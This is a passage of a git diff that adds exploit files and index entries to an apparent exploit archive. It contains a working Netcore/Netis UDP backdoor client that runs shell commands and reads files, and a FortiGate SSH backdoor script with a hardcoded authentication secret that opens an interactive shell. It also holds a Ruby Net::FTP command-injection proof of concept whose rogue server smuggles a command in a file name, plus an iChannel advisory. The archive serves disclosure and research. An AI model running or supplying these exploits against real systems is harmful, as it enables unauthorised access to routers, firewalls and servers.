resp_varbindstr = read_snmp_varbindstr(
|
||||
send_snmp_request(host, int(port), community)
|
||||
)
|
||||
if resp_varbindstr: stringbleed_status = True
|
||||
except Exception as err:
|
||||
log.error(err)
|
||||
|
||||
return stringbleed_status
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
import sys
|
||||
|
||||
if len(sys.argv) != 4:
|
||||
log.info("Usage python {} <snmp-host> <snmp-port> <snmp-community-str>".format(sys.argv[0]))
|
||||
sys.exit(1)
|
||||
|
||||
host = sys.argv[1]
|
||||
port = sys.argv[2]
|
||||
community = sys.argv[3]
|
||||
|
||||
if snmp_login(host, int(port), community):
|
||||
log.info("{}:{} - [{}] snmp login successfully.".format(host, port, community))
|
||||
else:
|
||||
log.info("{}:{} - [{}] snmp login failed.".format(host, port, community))
|
||||
|
||||
if snmp_stringbleed(host, int(port), community):
|
||||
log.info("{}:{} - [{}] snmp StringBleed successfully.".format(host, port, community))
|
||||
else:
|
||||
log.info("{}:{} - [{}] snmp StringBleed failed.".format(host, port, community))
|
||||
|
||||
|
||||
## References
|
||||
# https://tools.ietf.org/html/rfc1157
|
||||
# http://stackoverflow.com/questions/22998212/decode-snmp-pdus-where-to-start
|
||||
# http://www.net-snmp.org/
|
||||
# https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
|
||||
# https://wiki.wireshark.org/SNMP
|
||||
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb648643(v=vs.85).aspx
|
||||
# http://cs.uccs.edu/~cs522/studentproj/projF2004/jrreese/doc/SNMP.doc
|
||||
# https://github.com/exhuma/puresnmp/blob/be1267bb792be0a5bdf57b0748354d2d3c7f9fb0/puresnmp/pdu.py
|
||||
179
exploits/hardware/remote/43387.py
Executable file
179
exploits/hardware/remote/43387.py
Executable file
|
|
@ -0,0 +1,179 @@
|
|||
#!/usr/bin/python
|
||||
# -*- coding: utf8 -*-
|
||||
|
||||
# NETCORE / NETDIS UDP 53413 BACKDOOR
|
||||
# https://netisscan.shadowserver.org/
|
||||
# http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/
|
||||
# https://www.seebug.org/vuldb/ssvid-90227
|
||||
|
||||
import socket
|
||||
import struct
|
||||
import logging
|
||||
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(message)16s")
|
||||
|
||||
|
||||
def create_udp_socket(timeout=10):
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.settimeout(timeout)
|
||||
|
||||
return sock
|
||||
|
||||
|
||||
def send_netcore_request(sock, host, port, data):
|
||||
HEAD = "\x00" * 8
|
||||
data = HEAD + data
|
||||
sock.sendto(data, (host, port))
|
||||
|
||||
|
||||
def recv_netcore_response(sock, buffsize=512):
|
||||
try:
|
||||
resp = None
|
||||
addr = None
|
||||
resp, addr = sock.recvfrom(buffsize)
|
||||
except Exception as err:
|
||||
logging.debug('[-] %s' % err)
|
||||
finally:
|
||||
return resp, addr
|
||||
|
||||
|
||||
def do_mptlogin(sock, host, port):
|
||||
"""
|
||||
login netcore backdoor
|
||||
"""
|
||||
|
||||
netcore_response = []
|
||||
netcore_commands = ['netcore', '?']
|
||||
for command in netcore_commands:
|
||||
send_netcore_request(sock, host, port, command)
|
||||
resp, addr = recv_netcore_response(sock)
|
||||
|
||||
if resp and resp not in netcore_response:
|
||||
netcore_response.append(resp)
|
||||
|
||||
response_string = ",".join(netcore_response)
|
||||
if len(netcore_response) >= 1 and ('\x00\x00\x00\x05' in response_string):
|
||||
return (True, netcore_response)
|
||||
|
||||
return (False, netcore_response)
|
||||
|
||||
# ['\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00Login successed!\r\n',
|
||||
# '\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x7f']
|
||||
|
||||
# ['\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x7f',
|
||||
# '\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x01\x00'
|
||||
# 'IGD MPT Interface daemon 1.0\x00']
|
||||
|
||||
# ['\x00\x00\x00\x06\x00\x01\x00\x00\xff\xff\xff\xffapmib_init fail!\r\n']
|
||||
|
||||
# ['\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00']
|
||||
# sh: netcore: not found
|
||||
# sh: /etc/services: Permission denied
|
||||
|
||||
# ['\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00']
|
||||
|
||||
# First Login : 'AA\x00\x05ABAA\x00\x00\x00\x00Login successed!\r\n'
|
||||
# Second Login : IGD MPT Interface daemon 1.0
|
||||
|
||||
|
||||
def do_mptfun(sock, host, port, cmdstring):
|
||||
"""
|
||||
Usage: $Help
|
||||
Usage: $WriteMac <macaddr> <lan|wan|wlan1|wlan2|wlan3|wlan4>
|
||||
Usage: $ReadMac <lan|wan|wlan1|wlan2|wlan3|wlan4>[<str|STR>[separator]|bin]
|
||||
Usage: $WriteRegion <region> <wlan1|wlan3>
|
||||
Usage: $ReadRegion <wlan1|wlan3>
|
||||
Usage: $WriteSSID <SSID> <wlan1|wlan2|wlan3|wlan4>
|
||||
Usage: $ReadSSID <wlan1|wlan2|wlan3|wlan4>
|
||||
|
||||
DESCRIPTION:
|
||||
wlan1:2.4G main AP
|
||||
wlan2:2.4G Multiple AP
|
||||
wlan3:5G Main AP
|
||||
wlan4:5G Multiple AP
|
||||
region:the abbreviation of the country,Must be capitalized.Like US,HK,JP
|
||||
"""
|
||||
|
||||
send_netcore_request(sock, host, port, cmdstring)
|
||||
resp, addr = recv_netcore_response(sock)
|
||||
|
||||
if resp:
|
||||
return (True, resp)
|
||||
|
||||
return (False, resp)
|
||||
|
||||
|
||||
do_syscmd = do_mptfun
|
||||
|
||||
|
||||
def do_getfile(sock, host, port, filename):
|
||||
buffsize = 0x408 # buff size to read
|
||||
datasize = 0x408 # data size from socket
|
||||
|
||||
contents = []
|
||||
|
||||
u1, u2, u3, u4 = 0, 1, 0, 0
|
||||
|
||||
HEAD = struct.pack('>H', u1)
|
||||
HEAD += struct.pack('>H', u2)
|
||||
HEAD += struct.pack('>H', u3)
|
||||
HEAD += struct.pack('>H', u4)
|
||||
|
||||
data = HEAD + filename
|
||||
sock.sendto(data, (host, port))
|
||||
|
||||
while buffsize == datasize:
|
||||
data, addr = recv_netcore_response(sock, buffsize=buffsize)
|
||||
|
||||
if not data:
|
||||
break
|
||||
|
||||
datasize = len(data)
|
||||
|
||||
u1, u2, u3, u4 = struct.unpack('>HHHH', data[:8])
|
||||
contents.append(data[8:])
|
||||
|
||||
u2 = 5
|
||||
|
||||
HEAD = struct.pack('>H', u1)
|
||||
HEAD += struct.pack('>H', u2)
|
||||
HEAD += struct.pack('>H', u3)
|
||||
HEAD += struct.pack('>H', u4)
|
||||
sock.sendto(HEAD, (host, port))
|
||||
|
||||
data = "".join(contents)
|
||||
if contents:
|
||||
return True, data
|
||||
|
||||
return False, data
|
||||
|
||||
|
||||
def do_putfile():
|
||||
pass
|
||||
|
||||
|
||||
def check(host, port=53413):
|
||||
sock = create_udp_socket(timeout=8)
|
||||
is_login, resp = do_mptlogin(sock, host, port)
|
||||
print(is_login, resp)
|
||||
if is_login:
|
||||
print("[+] %s:%s - \033[32mvulnerable\033[m" % (host, port))
|
||||
|
||||
# bool_ret, resp = do_mptfun(sock, host, port, '$help')
|
||||
# print(resp)
|
||||
|
||||
# bool_ret, resp = do_getfile(sock, host, port, '/cfg/dhcpd.conf')
|
||||
# print(resp)
|
||||
|
||||
bool_ret, resp = do_syscmd(sock, host, port, 'ls -al /tmp')
|
||||
|
||||
sock.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
if len(sys.argv) != 2:
|
||||
print("[*] Usage: {} <target-netdis-ip>".format(sys.argv[0]))
|
||||
else:
|
||||
check(sys.argv[1])
|
||||
77
exploits/linux/remote/43386.py
Executable file
77
exploits/linux/remote/43386.py
Executable file
|
|
@ -0,0 +1,77 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
|
||||
# Usage: ./fgt_ssh_backdoor.py <target-ip>
|
||||
|
||||
import socket
|
||||
import select
|
||||
import sys
|
||||
import paramiko
|
||||
from paramiko.py3compat import u
|
||||
import base64
|
||||
import hashlib
|
||||
import termios
|
||||
import tty
|
||||
|
||||
def custom_handler(title, instructions, prompt_list):
|
||||
n = prompt_list[0][0]
|
||||
m = hashlib.sha1()
|
||||
m.update('\x00' * 12)
|
||||
m.update(n + 'FGTAbc11*xy+Qqz27')
|
||||
m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
|
||||
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
|
||||
return [h]
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print 'Usage: ' + sys.argv[0] + ' <target-ip>'
|
||||
exit(-1)
|
||||
|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
|
||||
try:
|
||||
client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
|
||||
except paramiko.ssh_exception.SSHException:
|
||||
pass
|
||||
|
||||
trans = client.get_transport()
|
||||
try:
|
||||
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
|
||||
except paramiko.ssh_exception.AuthenticationException:
|
||||
pass
|
||||
|
||||
trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
|
||||
chan = client.invoke_shell()
|
||||
|
||||
oldtty = termios.tcgetattr(sys.stdin)
|
||||
try:
|
||||
tty.setraw(sys.stdin.fileno())
|
||||
tty.setcbreak(sys.stdin.fileno())
|
||||
chan.settimeout(0.0)
|
||||
|
||||
while True:
|
||||
r, w, e = select.select([chan, sys.stdin], [], [])
|
||||
if chan in r:
|
||||
try:
|
||||
x = u(chan.recv(1024))
|
||||
if len(x) == 0:
|
||||
sys.stdout.write('\r\n*** EOF\r\n')
|
||||
break
|
||||
sys.stdout.write(x)
|
||||
sys.stdout.flush()
|
||||
except socket.timeout:
|
||||
pass
|
||||
if sys.stdin in r:
|
||||
x = sys.stdin.read(1)
|
||||
if len(x) == 0:
|
||||
break
|
||||
chan.send(x)
|
||||
|
||||
finally:
|
||||
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
30
exploits/multiple/webapps/43377.txt
Normal file
30
exploits/multiple/webapps/43377.txt
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
# Exploit Title: Conarc iChannel - Unauthenticated Access/Default Webserver Misconfiguration allows for compromise of server
|
||||
# Date: 2017-12-19
|
||||
# Exploit Author: Information Paradox
|
||||
# CVE : CVE-2017-17759
|
||||
|
||||
|
||||
https://(affectedserver)/wc.dll?wwMaint~EditConfig
|
||||
|
||||
The customized webserver used by iChannel is based on an outdated and
|
||||
vulnerable version of WestWind Webserver. This page is available,
|
||||
unauthenticated, to a malicious attacker.
|
||||
|
||||
By visiting this link, the attacker can access the webserver configuration
|
||||
edit page. This page reveals sensitive information, allows for alteration
|
||||
of the webserver configuration, upload/modification of the server's
|
||||
configuration and can result in a Denial of Service attack by deleting the
|
||||
configuration.
|
||||
|
||||
This has been acknowledged by Conarc and they have been notified of the
|
||||
impact.
|
||||
If your iChannel install is available publicly, this can result in complete
|
||||
compromise of the server, the web application and severe information
|
||||
leakage/DOS.
|
||||
|
||||
Resolution:
|
||||
|
||||
Conarc has been notified of this issue. Until this issue is patched, the
|
||||
affected installs should be removed from public access. In the case of
|
||||
private deployments, this page should have an ACL applied to prevent
|
||||
unauthenticated access to this page.
|
||||
116
exploits/ruby/local/43381.md
Normal file
116
exploits/ruby/local/43381.md
Normal file
|
|
@ -0,0 +1,116 @@
|
|||
While using NET::Ftp I realised you could get command execution through "malicious" file names.
|
||||
|
||||
The problem lies in the `gettextfile(remotefile, localfile = File.basename(remotefile))` method.
|
||||
When looking at the source code, you'll note:
|
||||
|
||||
```
|
||||
def gettextfile(remotefile, localfile = File.basename(remotefile),
|
||||
&block) # :yield: line
|
||||
f = nil
|
||||
result = nil
|
||||
if localfile
|
||||
f = open(localfile, "w") # Vulnerable code here. open("| os command","w")
|
||||
elsif !block_given?
|
||||
result = String.new
|
||||
end
|
||||
```
|
||||
|
||||
The `localfile` value will trigger command execution if the value is `| os command`. In general use, most users would likely provide their own localfile value and would not rely on the default of `File.basename(remotefile)`; however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either `ls -l` style for the `LIST` command, or filenames for `NLIST`), there is no need/guarantee that filename will be a valid filename.
|
||||
|
||||
I have attached a sample server that can be used to trigger this vulnerability, as well as a sample client which is vulnerable.
|
||||
|
||||
## Usage:
|
||||
Change the `host` and `port` values in both //ftpserver.rb// and //client.rb//
|
||||
|
||||
Start the server: `ruby ftpserver.rb`
|
||||
Run the client: `ruby client.rb`
|
||||
|
||||
Observe that a new file has been created in the CWD of the //client.rb//. The file will be called `pang` and contain the output of the `id` command. As seen in screenshot1.png
|
||||
|
||||
The provided attack example is a little contrived and assumes the user is accepting the file names provided by the server, rather than their own. However, since there is no clear indication in the documentation or an expectation that filenames could lead to RCE, users may be caught unaware. It would probably be best to not use `open` in NET::Ftp, but rather something like `File.open`, maintaining both expected behaviour and security.
|
||||
|
||||
## Impact
|
||||
Remote code execution through command injection. As a user of the NET::Ftp is expecting normal file creation behaviour, they might not be sanitising file paths.
|
||||
|
||||
--cilent.rb--
|
||||
```
|
||||
require 'net/ftp'
|
||||
host = '172.17.0.4'
|
||||
port = 2121
|
||||
|
||||
Net::FTP.const_set('FTP_PORT',port)
|
||||
Net::FTP.open(host) do |ftp|
|
||||
ftp.login
|
||||
fileList = ftp.nlst('*')
|
||||
fileList.each do |file|
|
||||
ftp.gettextfile(file)
|
||||
end
|
||||
end
|
||||
```
|
||||
--cilent.rb--
|
||||
|
||||
- - -
|
||||
|
||||
--ftpserv.rb--
|
||||
```
|
||||
require 'socket'
|
||||
host = '172.17.0.4'
|
||||
port = 2121
|
||||
hostsplit = host.tr('.',',')
|
||||
|
||||
server = TCPServer.new port
|
||||
|
||||
loop do
|
||||
Thread.start(server.accept) do |client|
|
||||
client.puts "220 Attack FTP\r\n"
|
||||
r = client.gets
|
||||
puts r
|
||||
client.puts "331 password please - version check\r\n"
|
||||
r = client.gets
|
||||
puts r
|
||||
client.puts "230 User logged in\r\n"
|
||||
r = client.gets
|
||||
puts r
|
||||
client.puts "230 more data please!\r\n"
|
||||
r = client.gets
|
||||
puts r
|
||||
client.puts "230 more data please!\r\n"
|
||||
r = client.gets
|
||||
puts r
|
||||
|
||||
wait = true
|
||||
psv = Thread.new do
|
||||
pserver = TCPServer.new 23461
|
||||
Thread.start(pserver.accept) do |pclient|
|
||||
while wait do
|
||||
end
|
||||
pclient.puts "|echo${IFS}$(id)${IFS}>pang\r\n"
|
||||
pclient.close
|
||||
end
|
||||
end
|
||||
|
||||
sleep 1
|
||||
|
||||
client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)\r\n"
|
||||
r = client.gets
|
||||
puts r
|
||||
|
||||
psv.join
|
||||
|
||||
client.puts "150 Here comes the directory listing.\r\n"
|
||||
|
||||
wait = false
|
||||
|
||||
client.puts "226 Directory send OK.\r\n"
|
||||
r = client.gets
|
||||
puts r
|
||||
client.puts "221 goodbye\r\n"
|
||||
client.close
|
||||
end
|
||||
end
|
||||
```
|
||||
--ftpserv.rb--
|
||||
|
||||
- - -
|
||||
E-DB Note: https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/
|
||||
E-DB Nte: https://hackerone.com/reports/294462
|
||||
|
|
@ -6874,6 +6874,7 @@ id,file,description,date,author,type,platform,port
|
|||
12261,exploits/windows/local/12261.rb,"Archive Searcher - '.zip' Local Stack Overflow",2010-04-16,Lincoln,local,windows,
|
||||
12293,exploits/windows/local/12293.py,"TweakFS 1.0 - FSX Edition Stack Buffer Overflow",2010-04-19,corelanc0d3r,local,windows,
|
||||
12326,exploits/windows/local/12326.py,"ZipGenius 6.3.1.2552 - 'zgtips.dll' Local Stack Buffer Overflow",2010-04-21,corelanc0d3r,local,windows,
|
||||
43381,exploits/ruby/local/43381.md,"Ruby < 2.2.8 / < 2.3.5 / < 2.4.2 / < 2.5.0-preview1 - 'NET::Ftp' Command Injection",2017-12-02,"Etienne Stalmans",local,ruby,
|
||||
12342,exploits/windows/local/12342.pl,"EDraw Flowchart ActiveX Control 2.3 - '.edd parsing' Buffer Overflow (PoC)",2010-04-22,LiquidWorm,local,windows,
|
||||
12368,exploits/windows/local/12368.pl,"ZipWrangler 1.20 - '.zip' File (SEH)",2010-04-24,"TecR0c & Sud0",local,windows,
|
||||
12379,exploits/windows/local/12379.php,"Easyzip 2000 3.5 - '.zip' Local Stack Buffer Overflow (PoC)",2010-04-25,mr_me,local,windows,
|
||||
|
|
@ -9032,7 +9033,7 @@ id,file,description,date,author,type,platform,port
|
|||
39741,exploits/osx/local/39741.txt,"Mach Race OSX - Local Privilege Escalation",2016-04-27,fG!,local,osx,
|
||||
39757,exploits/android/local/39757.txt,"QSEE - PRDiag* Commands Privilege Escalation",2016-05-02,laginimaineb,local,android,
|
||||
39764,exploits/linux/local/39764.py,"TRN Threaded USENET News Reader 3.6-23 - Local Stack Overflow",2016-05-04,"Juan Sacco",local,linux,
|
||||
39769,exploits/linux/local/39769.txt,"Zabbix Agent 3.0.1 - mysql.size Shell Command Injection",2016-05-04,"Timo Lindfors",local,linux,
|
||||
39769,exploits/linux/local/39769.txt,"Zabbix Agent 3.0.1 - 'mysql.size' Shell Command Injection",2016-05-04,"Timo Lindfors",local,linux,
|
||||
39771,exploits/linux/local/39771.txt,"Linux Kernel (Ubuntu 14.04.3) - 'perf_event_open()' Can Race with execve() (Access /etc/shadow)",2016-05-04,"Google Security Research",local,linux,
|
||||
39772,exploits/linux/local/39772.txt,"Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation",2016-05-04,"Google Security Research",local,linux,
|
||||
39786,exploits/windows/local/39786.txt,"Certec EDV atvise SCADA Server 2.5.9 - Local Privilege Escalation",2016-05-09,LiquidWorm,local,windows,
|
||||
|
|
@ -15862,6 +15863,10 @@ id,file,description,date,author,type,platform,port
|
|||
43374,exploits/php/remote/43374.rb,"Tuleap 9.6 - Second-Order PHP Object Injection (Metasploit)",2017-12-19,Metasploit,remote,php,443
|
||||
43375,exploits/multiple/remote/43375.rb,"Jenkins - XStream Groovy classpath Deserialization (Metasploit)",2017-12-19,Metasploit,remote,multiple,8080
|
||||
43376,exploits/android/remote/43376.rb,"Samsung Internet Browser - SOP Bypass (Metasploit)",2017-12-20,"Dhiraj Mishra",remote,android,
|
||||
43383,exploits/hardware/remote/43383.py,"Cisco IOS 12.2 < 12.4 / 15.0 < 15.6 - Security Association Negotiation Request Device Memory",2017-03-17,nixawk,remote,hardware,
|
||||
43384,exploits/hardware/remote/43384.py,"Technicolor DPC3928SL - SNMP Authentication Bypass",2017-05-05,nixawk,remote,hardware,
|
||||
43386,exploits/linux/remote/43386.py,"Fortinet FortiGate 4.x < 5.0.7 - SSH Backdoor",2016-01-09,operator8203,remote,linux,
|
||||
43387,exploits/hardware/remote/43387.py,"Netcore / Netis Routers - UDP Backdoor",2016-12-15,nixawk,remote,hardware,53413
|
||||
41638,exploits/windows/remote/41638.txt,"HttpServer 1.0 - Directory Traversal",2017-03-19,malwrforensics,remote,windows,
|
||||
41666,exploits/windows/remote/41666.py,"Disk Sorter Enterprise 9.5.12 - 'GET' Remote Buffer Overflow (SEH)",2017-03-22,"Daniel Teixeira",remote,windows,
|
||||
41672,exploits/windows/remote/41672.rb,"SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit)",2017-02-28,Metasploit,remote,windows,
|
||||
|
|
@ -37172,7 +37177,7 @@ id,file,description,date,author,type,platform,port
|
|||
40856,exploits/hardware/webapps/40856.txt,"Xfinity Gateway - Remote Code Execution",2016-12-02,"Gregory Smiley",webapps,hardware,
|
||||
40877,exploits/php/webapps/40877.md,"AbanteCart 1.2.7 - Cross-Site Scripting",2016-12-06,"Kacper Szurek",webapps,php,
|
||||
40887,exploits/hardware/webapps/40887.txt,"Cisco Unified Communications Manager 7/8/9 - Directory Traversal",2016-12-07,justpentest,webapps,hardware,
|
||||
40889,exploits/cgi/webapps/40889.txt,"NETGEAR R7000 - Command Injection",2016-12-07,Acew0rm,webapps,cgi,
|
||||
40889,exploits/cgi/webapps/40889.txt,"NETGEAR R7000 - Command Injection (PoC)",2016-12-07,Acew0rm,webapps,cgi,
|
||||
40898,exploits/hardware/webapps/40898.txt,"NETGEAR R7000 - Cross-Site Scripting",2016-12-11,"Vincent Yiu",webapps,hardware,
|
||||
40901,exploits/hardware/webapps/40901.txt,"ARG-W4 ADSL Router - Multiple Vulnerabilities",2016-12-11,"Persian Hack Team",webapps,hardware,
|
||||
40904,exploits/php/webapps/40904.txt,"Smart Guard Network Manager 6.3.2 - SQL Injection",2016-12-03,"Rahul Raz",webapps,php,
|
||||
|
|
@ -37654,6 +37659,7 @@ id,file,description,date,author,type,platform,port
|
|||
43363,exploits/hardware/webapps/43363.py,"Linksys WVBR0 - 'User-Agent' Remote Command Injection",2017-12-14,nixawk,webapps,hardware,
|
||||
43364,exploits/hardware/webapps/43364.txt,"BrightSign Digital Signage - Multiple Vulnerablities",2017-12-19,"Information Paradox",webapps,hardware,
|
||||
43365,exploits/php/webapps/43365.txt,"Joomla! Component NextGen Editor 2.1.0 - 'plname' SQL Injection",2017-12-19,"Ihsan Sencan",webapps,php,
|
||||
43377,exploits/multiple/webapps/43377.txt,"Conarc iChannel - Improper Access Restrictions",2017-12-20,"Information Paradox",webapps,multiple,
|
||||
43378,exploits/multiple/webapps/43378.py,"Ability Mail Server 3.3.2 - Cross-Site Scripting",2017-12-20,"Aloyce J. Makalanga",webapps,multiple,
|
||||
43379,exploits/windows/webapps/43379.txt,"BEIMS ContractorWeb 5.18.0.0 - SQL Injection",2017-12-20,"Rajwinder Singh",webapps,windows,
|
||||
41622,exploits/php/webapps/41622.py,"Wordpress Plugin Membership Simplified 1.58 - Arbitrary File Download",2017-03-16,"The Martian",webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue